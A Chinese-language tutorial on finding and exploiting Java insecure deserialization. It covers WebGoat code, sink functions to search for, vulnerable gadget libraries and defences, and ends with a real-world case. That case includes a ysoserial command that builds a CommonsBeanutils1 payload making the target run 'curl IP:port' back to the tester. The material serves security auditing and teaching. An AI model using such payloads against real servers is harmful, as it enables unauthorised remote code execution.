一、概述
不安全的反序列化(Insecure Deserializations)在最新的OWASP Top 10列表中列于A8。这个漏洞的本质和其他漏洞其实基本相同,是在反序列化的过程中未严格控制用户输入,导致DOS或RCE,只是反序列化这个概念可能稍陌生一点,可通过之前文章了解反序列化原理和Weblogic系列漏洞:Weblogic反序列化历史漏洞全汇总。
二、挖掘过程
以Webgoat的案例讲解:
输入序列化后的字节码对象,使得达到延迟5秒载入页面的效果(RCE),可以看到序列化的数据的特征都是以rO0A开头,现实开发里一般是先将对象序列化处理传输,再经过反序列化过程还原,这里省略了前者。
同样抓包定位到源码,走读代码:
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResultcompleted(@RequestParam String token) throws IOException {
String b64token;
long before, after;
int delay;
b64token =token.replace('-', '+').replace('_', '/');
try (ObjectInputStreamois = new ObjectInputStream(newByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
代码逻辑是对输入字符串b64token先进行base64解码,然后使用原生的ObjectInputStream的readObject()方法进行反序列化操作。
确定存在漏洞后可使用BurpSuite的插件进行扫描,插件地址:
https://github.com/federicodotta/Java-Deserialization-Scanner/
后续结合ysoserial进行漏洞利用exploiting,ysoserial的payloads如下:
当然也可以自写使用ObjectOutputStream序列化一个Runtime.getRuntime()的数据进行远程代码执行。详细过程可阅读原文,参考国外一篇文章《Java Deserialization — From Discovery to Reverse Shell on Limited Environments》。
三、挖掘技巧
挖掘反序列化漏洞在业务功能层面关注导入模版文件、网络通信、数据传输、日志格式化存储、对象数据、磁盘或DB存储等场景。
代码层需重点关注一些反序列化操作函数,定位代码后判断反序列化数据是否可控,定位入口需关注反序列化常用的类和函数:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
Serializable
当确定可以带入序列化数据的入口后,则寻找POP Gadgets利用链,一些存在危险的基础库和框架就提供了可导致命令执行 POP 链的环境,使用ysoserial可直接生成对应的序列化数据对接口进行漏洞利用。
所以在代码审计前可优先查看pom.xml文件,分析是否出现漏洞组件,如CommonsBeanutils、Fastjson<1.2.47等,存在危险的基础库有:
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop4.1.4.RELEASE
四、漏洞防御
1、 升级服务端所依赖的可能被利用的jar包,包括JDK。
2、 在执行反序列前对InputStream对象进行检查过滤,推荐一个开源的Java反序列化库SerialKiller:
https://github.com/ikkisoft/SerialKiller
五、实战案例
前几章的案例思路都是顺向的攻击思路,但漏洞挖掘的时候其实都是先搜索特征字找到漏洞触发点,然后通过回溯的方法找到调用点。
按照这个逆向思维,挖掘反序列化通常使用关键字进行全局搜索,如ObjectInputStream,通过搜索定位到代码DataConvert.java中的byteArray2Object使用readObject进行了反序列化操作:
public static Object byteArray2Object(byte[] byteArray)
throws IOException,ClassNotFoundException
{ if (null == byteArray)
{
return null;
}
ByteArrayInputStreambais = new ByteArrayInputStream(byteArray);
ObjectInputStream ois= new ObjectInputStream(bais);
returnois.readObject();
}
回溯哪个操作调用了这个byteArray2Object方法,依次查看, 其中有一个是handleResultMsg方法。主要看输入是否可控,而这个方法的参数来源于resultMsg+resultMsg2变量的拼接,继续回溯其实是数据表里的result_msg的值,用户输入经过decrypt方法解密后交由反序列化接口处理,故存在漏洞。
private void handleResultMsg(WsMsgLog log, DataSet dataSet)
{
String resultMsg =dataSet.getString(ParamDictionary.RESULT_MSG);
String resultMsg2 =dataSet.getString(ParamDictionary.RESULT_MSG2);
byte[] resultMsgArray= null;
if (null != resultMsg)
{
resultMsgArray =decrypt(resultMsg + resultMsg2);
}
else …
{ try
{log.setResultMsg((Result)DataConvertor
.byteArray2Object(resultMsgArray));
后续观察到系统的依赖中包含了 beanutils,以此作为Gadgets使用 ysoserial 生成 beanutils 的反序列化 payload:
java -jar ysoserial.jar CommonsBeanutils1"curl IP:port" > bean.ser
将生成的二进制格式数据bean.ser填入对应参数处进行发包,收到来自服务器的 CURL 命令请求,验证漏洞存在,后续可生成RCE的payload扩大攻击效果。
若想深入反序列化漏洞的原理和挖掘,可以把历史爆发过的Fastjson、XMLDecoder、Commons-collections、JDK进行集中复现和分析。